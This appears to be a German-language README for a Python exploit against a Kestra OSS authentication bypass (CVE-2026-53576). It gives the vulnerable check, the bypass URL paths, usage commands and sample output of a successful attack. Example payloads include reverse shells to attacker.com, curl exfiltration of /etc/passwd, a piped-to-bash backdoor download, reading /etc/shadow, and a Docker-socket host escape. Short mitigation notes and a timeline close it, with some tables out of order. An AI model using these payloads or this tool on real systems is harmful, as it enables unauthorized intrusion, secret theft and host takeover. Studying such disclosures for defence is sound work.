
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
Kritische Umgehung der Authentifizierung führt zu nicht authentifizierter Remote-Codeausführung
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken.
- NICHT gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast.
- NICHT für illegale Aktivitäten verwenden.
- Der Autor ist NICHT verantwortlich für jeglichen Missbrauch dieses Tools.
- Verwendung auf EIGENES RISIKO.
CVE-2026-53576 ist eine kritische Schwachstelle in Kestra OSS bis Version v1.3.20, die nicht authentifizierte Remote-Codeausführung durch eine Umgehung des Authentifizierungsfilters ermöglicht.
Der Authentifizierungsfilter in Kestra enthält einen kritischen Logikfehler:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
Dieser prüft, ob irgendeine API-Anfrage mit /configs endet, anstatt die exakte Route abzugleichen. Dadurch können Angreifer die Authentifizierung umgehen, indem sie /configs an jeden Endpunkt anhängen.
POST /api/v1/main/flows/configs (umgeht Authentifizierung)POST /api/v1/main/executions/configs/configs (umgeht Authentifizierung)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
Ausgabe:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
Ein nicht authentifizierter Angreifer kann:
Beliebige Befehle als root ausführen:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
Zum Hostsystem wechseln (falls Docker-Socket eingebunden):
docker run -v /:/host --privileged alpine chroot /host
Auf Cloud-Metadaten zugreifen (falls bei Cloud-Anbieter):
curl http://169.254.169.254/latest/meta-data/
Verwundbare Instanzen herunterfahren:
sudo systemctl stop kestra
Öffentlichen Zugriff blockieren:
iptables -A INPUT -p tcp --dport 8080 -j DROP
Firewall-Regeln anwenden:
Kestra auf die neueste gepatchte Version aktualisieren:
Ordentliche Authentifizierung implementieren:
Container-Härtung:
/var/run/docker.sock nicht einbindenNetzwerk-Härtung:
| Datum | Ereignis |
|---|---|
| 2026-05-26 | Schwachstelle entdeckt |
| 2026-06-03 | Kestra Security Advisory veröffentlicht |
| 2026-06-10 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Wenn du dieses Tool nützlich findest:
⚠️ VERANTWORTUNGSVOLL VERWENDEN ⚠️
| Attribut | Wert |
|---|
| CVE-ID | CVE-2026-53576 |
| Schweregrad | Kritisch (9.8 CVSS) |
| Schwachstellentyp | Authentifizierungs-Umgehung + RCE |
| Betroffenes Produkt | Kestra OSS |
| Betroffene Versionen | ≤ v1.3.20 |
| Angriffsvektor | Netzwerk |
| Erforderliche Authentifizierung | Keine |
| Benutzerinteraktion | Keine |
| Option | Beschreibung |
|---|
target | Ziel-IP-Adresse oder Hostname (erforderlich) |
-p, --port | Port (Standard: 8080) |
--https | HTTPS statt HTTP verwenden |
-c, --command | Benutzerdefinierter Befehl zur Ausführung |
--docker-check | Docker-Socket-Zugriff prüfen |
--cleanup | Flow nach der Ausnutzung löschen |
--delay | Verzögerung zwischen Anfragen (Standard: 2s) |
| Kategorie | Schweregrad | Beschreibung |
|---|
| Vertraulichkeit | ⚠️ Kritisch | Beliebige Dateien lesen (Passwörter, Geheimnisse, Konfigurationen) |
| Integrität | ⚠️ Kritisch | Flows und Daten erstellen/ändern/löschen |
| Verfügbarkeit | ⚠️ Hoch | System herunterfahren, Ressourcenerschöpfung |
| Authentifizierung | ⚠️ Kritisch | Vollständige Umgehung der Basis-Authentifizierung |
| Privilegieneskalation | ⚠️ Kritisch | Befehle laufen als root (uid=0) |
| Container-Escape | ⚠️ Kritisch | Host-Kompromittierung über Docker-Socket |
| CVE-2026-53576 zugewiesen |
| 2026-06-15 | Öffentliche Offenlegung |
| 2026-08-01 | PoC veröffentlicht |